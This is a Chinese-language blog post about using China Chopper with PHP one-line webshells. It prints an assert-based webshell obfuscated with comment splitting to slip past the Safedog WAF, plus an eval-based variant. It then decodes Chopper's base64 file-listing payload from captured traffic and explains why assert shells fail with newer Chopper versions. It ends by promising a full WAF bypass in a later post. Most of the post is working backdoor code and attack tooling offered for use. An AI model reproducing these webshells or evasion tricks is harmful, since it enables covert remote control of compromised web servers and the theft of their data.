- A+
在远程的服务器上放了一个过某狗的php一句话,文件名为xxoo.php,内容如下
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); // 密码-7
?>
新版菜刀连接后,出现下图错误。
用wireshark抓包,观察http的request和response
wireshark过滤条件:ip.addr==xx.xx.xx.xxandhttp,设置完成后,点击开始capture。现在回到菜刀,右键菜刀的文件管理,出现上图的错误后,即可抓到如下两个包,一个request,一个response
注意,如果是本地localhost服务器的话,wireshark不能直接抓包,具体可以百度或者用burp。
菜刀整个post数据一共有三个变量
解密后为:@eval/**/(base64_decode/**/($_POST[z0]));还有两个%01,因为没有影响就不写了。
通过上面@eval/**/(base64_decode/**/($_POST[z0]));可以知道z0是经过base64编码的,那么解码后为:
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo ("->|");;
$D = base64_decode(get_magic_quotes_gpc() ? stripslashes($_POST["z1"]) : $_POST["z1"]);
$F = @opendir($D);
if ($F == NULL) {
echo ("ERROR:// Path Not Found Or No Permission!");
} else {
$M = NULL;
$L = NULL;
while ($N = @readdir($F)) {
$P = $D . "/" . $N;
$T = @date("Y-m-d H:i:s", @filemtime($P));
@$E = substr(base_convert(@fileperms($P) , 10, 8) , -4);
$R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . "
";
if (@is_dir($P)) $M.= $N . "/" . $R;
else $L.= $N . $R;
}
echo $M . $L;
@closedir($F);
};
echo ("|<-");
die();
可以看出z0是遍历文件的作用。
z1=QzpcXHdhbXBcXHd3d1xc
通过变量二可以知道z1也是base64编码的,那么z1解码后为C:\\wamp\\www\\,可以看出是z1遍历文件的文件路径。
同理,
-7=@eval(base64_decode($_POST[z0]));
base64_decode后为:
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo ("->|");;
$D = base64_decode($_POST["z1"]);
$F = @opendir($D);
if ($F == NULL) {
echo ("ERROR:// Path Not Found Or No Permission!");
} else {
$M = NULL;
$L = NULL;
while ($N = @readdir($F)) {
$P = $D . "/" . $N;
$T = @date("Y-m-d H:i:s", @filemtime($P));
@$E = substr(base_convert(@fileperms($P) , 10, 8) , -4);
$R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . "
";
if (@is_dir($P)) $M.= $N . "/" . $R;
else $L.= $N . $R;
}
echo $M . $L;
@closedir($F);
};
echo ("|<-");
die();
?>
z1=QzpcXHdhbXBcXHd3d1xc
通过第一步的抓包对比分析后,可以发现只有变量一是造成assert不能使用的元凶,因为其他两个变量基本是一模一样。既然eval的一句话可以使用,而assert的一句话不能使用,那应该是eval和assert用法不同造成这个问题。
通过文档可以发现assert是判断一条语句是否为FALSE(注意只是一条),而eval是把当前字符串作为代码执行(可以是多条)。
证实下:
xxoo.php输出a,说明只执行了第一句
array.php内容如下(过某狗)
eval(
$_POST[cmd]
);
?>
输出ab,说明两句都执行
真想终于浮出水面。由于assert的单个语句限制和新版菜刀第一个变量是多条语句导致assert的一句话新版菜刀不能使用。
所有assert的一句话都不能用,但可以使用老版本。
1.通过这样分析后,某狗的菜刀拦截就完全可以bypass,下篇文章再说吧。
2. 只分析了php的文件管理部分,其他部分可能也会存在些许的不一样,没有遇到,所以没做分析
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫